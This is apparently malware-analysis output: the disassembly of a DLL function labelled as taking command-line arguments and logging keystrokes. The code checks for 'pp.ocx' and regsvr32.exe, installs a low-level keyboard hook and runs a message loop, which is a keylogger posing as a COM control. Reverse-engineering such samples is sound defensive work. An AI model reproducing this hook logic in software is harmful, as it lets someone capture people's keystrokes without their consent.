Function at 0x18000a630
Capabilities:
Accept command line arguments
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x18014f0c0]
xor rax, rsp
mov qword [rbp + 0xf0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xor r13d, r13d
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], r13
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x18000a690
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.180004bf0
lea r15, [rsp + 0x48]
mov rdi, qword [rsp + 0x48]
mov r14, qword [rsp + 0x60]
cmp r14, 0xf
cmova r15, rdi
mov rax, qword [rsp + 0x58]
cmp rax, 6
jb 0x18000a755
lea r12, [rax + r15]
lea r8, [r12 - 5]
sub r8, r15
mov edx, WSAStartup
mov rcx, r15
call fcn.18011c210
mov r9, rax
test rax, rax
je 0x18000a755
lea r13, str.pp.ocx
mov esi, 6
nop dword [rax]
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x18000a728
cmp rcx, rsi
jne 0x18000a710
xor eax, eax
jmp 0x18000a72d
sbb eax, eax
or eax, 1
test eax, eax
je 0x18000a7c1
inc r9
lea r8, [r12 - 5]
sub r8, r9
mov edx, WSAStartup
mov rcx, r9
call fcn.18011c210
mov r9, rax
test rax, rax
jne 0x18000a700
cmp r14, 0xf
jbe 0x18000a78c
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18000a784
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000ab54
mov rcx, rdi
call fcn.1800f0f70
mov eax, 0x80004005
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.1800f0be0
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
sub r9, r15
cmp r9, rbx
je 0x18000a755
cmp r14, 0xf
jbe 0x18000a800
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18000a7f8
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000ab54
mov rcx, rdi
call fcn.1800f0f70
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xor r13d, r13d
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
lea rax, [rbp - 0x20]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], r13b
jne 0x18000a830
mov r8, rbx
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x68]
call fcn.180004bf0
lea r15, [rsp + 0x68]
mov rdi, qword [rsp + 0x68]
mov r14, qword [rbp - 0x80]
cmp r14, 0xf
cmova r15, rdi
mov rax, qword [rsp + 0x78]
cmp rax, 0xc
jb 0x18000a8c9
lea r12, [rax + r15]
lea r8, [r12 - 0xb]
sub r8, r15
mov edx, WSAStartup
mov rcx, r15
call fcn.18011c210
mov rbx, rax
test rax, rax
je 0x18000a8c9
nop dword [rax]
mov r8d, 0xc
lea rdx, str.regsvr32.exe
mov rcx, rbx
call fcn.18011c2b0
test eax, eax
je 0x18000a905
inc rbx
lea r8, [r12 - 0xb]
sub r8, rbx
mov edx, WSAStartup
mov rcx, rbx
call fcn.18011c210
mov rbx, rax
test rax, rax
jne 0x18000a890
cmp r14, 0xf
jbe 0x18000a78c
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18000a784
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000ab4e
jmp 0x18000a784
sub rbx, r15
cmp rbx, 0xffffffffffffffff
je 0x18000a8c9
cmp r14, 0xf
jbe 0x18000a945
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18000a93d
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000ab4e
mov rcx, rdi
call fcn.1800f0f70
call fcn.18000ab80
cmp qword [0x180150178], r13
je 0x18000aaf3
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18000a2d0]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x1801561c0], rax
test rax, rax
je 0x18000aaf3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x18000a9be
lea rcx, [rbp - 0x78]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x78]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x18000a994
lea rcx, [0x1801500f8]
call fcn.18000c550
test rax, rax
jne 0x18000aa05
mov rax, qword [0x1801500f0]
movsxd rcx, dword [rax + 4]
lea rdx, [0x1801500f0]
mov eax, 2
cmp qword [rcx + rdx + 0x48], r13
cmovne esi, eax
or esi, dword [rcx + rdx + 0x10]
and esi, 0x17
mov dword [rcx + rdx + 0x10], esi
mov eax, dword [rcx + rdx + 0x14]
and eax, esi
jne 0x18000aafd
mov rcx, qword [0x1801561c0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov r14d, eax
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rax, str.APPID
mov qword [rbp - 0x48], rax
lea rax, str.44ec7b10_2d50_4630_ba0c_520812e2c2f6
mov qword [rbp - 0x40], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
lea r9, [rbp - 0x48]
mov r8d, 1
call fcn.180008770
mov ebx, eax
test eax, eax
js 0x18000aae3
mov ebx, r13d
mov rdi, qword [0x180153830]
mov rax, qword [0x180153838]
cmp rdi, rax
jae 0x18000aaba
mov rsi, qword [rdi]
test rsi, rsi
je 0x18000aaad
mov rax, qword [rsi + 8]
mov ecx, 1
call rax
mov ebx, eax
test eax, eax
js 0x18000aac8
call qword [rsi + 0x30]
mov r8d, 1
mov rdx, rax
mov rcx, qword [rsi]
call fcn.180009690
mov ebx, eax
test eax, eax
js 0x18000aac8
mov rax, qword [0x180153838]
add rdi, 8
cmp rdi, rax
jb 0x18000aa73
test ebx, ebx
js 0x18000aae3
mov rcx, qword [0x180153828]
call fcn.180009ce0
mov ebx, eax
test ebx, ebx
js 0x18000aae3
mov rax, qword [0x180156190]
test rax, rax
je 0x18000aae3
mov rcx, qword [0x1801543b8]
call rax
mov ebx, eax
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov eax, ebx
jmp 0x18000a791
mov eax, 1
jmp 0x18000a791
test al, 4
je 0x18000ab0a
lea rbx, str.ios_base::badbit_set
jmp 0x18000ab1e
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x48]
call fcn.180002170
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.180002a80
lea rdx, [0x18014cce0]
lea rcx, [rsp + 0x20]
call fcn.1800f94e0
int3
call fcn.1800fe404
int3
call fcn.1800fe404
int3